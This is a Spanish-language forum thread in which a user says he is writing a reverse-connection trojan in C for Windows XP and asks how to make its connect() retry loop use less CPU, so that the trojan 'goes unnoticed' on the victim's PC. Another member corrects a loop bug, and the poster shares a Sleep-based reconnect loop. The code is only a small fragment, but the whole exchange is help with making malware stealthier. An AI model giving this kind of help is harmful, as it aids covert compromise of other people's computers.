Ayuda bucle con funcion connect()

Iniciado por luzzzifer, 9 Agosto 2010, 02:11 AM

0 Miembros y 1 Visitante están viendo este tema.

luzzzifer

Hola a todos:
     Es mi primer post en este magnífico foro del cual tanto aprendi, y que a medida que vaya aprendiendo iré compartiendo ese conocimiento con uds. Bueno, al grano.
     Mi problema es el siguiente: estoy programando en C un troyano de conexión inversa para Win XP 32 bits SP 2, el server estaría en mi PC y el cliente en la víctima. La cuestión es que cuando en el cliente llamaría a connect(...) y este no conectaría por tener yo la PC apagada por ejemplo, quisiera que vuelva a llamar a connect() hasta que conecte. Aquí está el bucle del que les hablo.
    No se cómo hacer para que "No consuma muchos recursos"

while(n=-1);
{
// Sleep(5000);
n=connect(sock, (struct sockaddr*)&cliente, sizeof(cliente));
}


    Esta parte del código me consume el %50 de uso del CPU, lo sé por el adm de tareas, y además, cuando conecta, un bucle del mismo tipo pero con recv(), también me consume lo mismo. ¿Cómo hacer para que en la PC de mi víctima no se eleve tanto el uso del CPU y mi troyano pase más desapercibido?

Cuando termine de programar cliente y server voy a postear el código así me corrigen y me ayudan a optimizarlo porque de seguro debe tener muchos errores  :laugh:

Desde ya muchas gracias!

Mr.Blue

#1
Tanto consume? igualmente no se si te diste cuenta o te equivocastes pero aca hay algo mal

Código (cpp) [Seleccionar]

//forma correcta
while (n==-1)
{
blabla
}


y creo q esta mal hubicado el post, tedria q estar en Analisis y diseño de malware. Por lo que apunta el post.
Saludos.

PD:Espera a que lo muevan en todo caso.

luzzzifer

#2
holas!...si, ahí esta mal porque sería operador de asignación creo, pero en el código completo lo tengo correcto. Con lo del post mil disculpas como dije anteriormente es mi primer post en este foro  ;D.

  Cuando el compilador llega a esa línea el uso de CPU sube de un 7% a un 52%. Mi PC es un Core2 2.53GHz con 1 gb de RAM.
  Cuando cierro el programa baja a un 7% o 0%...  :-\

Muchas gracias por la atención..

Lh: No hagas doble post, utiliza el botón modificar

Bueno ya le he encontrado una solución, la cual voy a postearla por si alguien se topa con el mismo error. Lo que hice fue en vez de usar

while(n==-1);
{
Sleep(5000);
n=connect(sock, (struct sockaddr*)&cliente, sizeof(cliente));
}


utilicé

while(1)
{
Sleep(5000);
n=connect(sock, (struct sockaddr*)&cliente, sizeof(cliente));
if(n!=-1){break;}
}


y así el uso de CPU no se va por las nubes..

Saludos!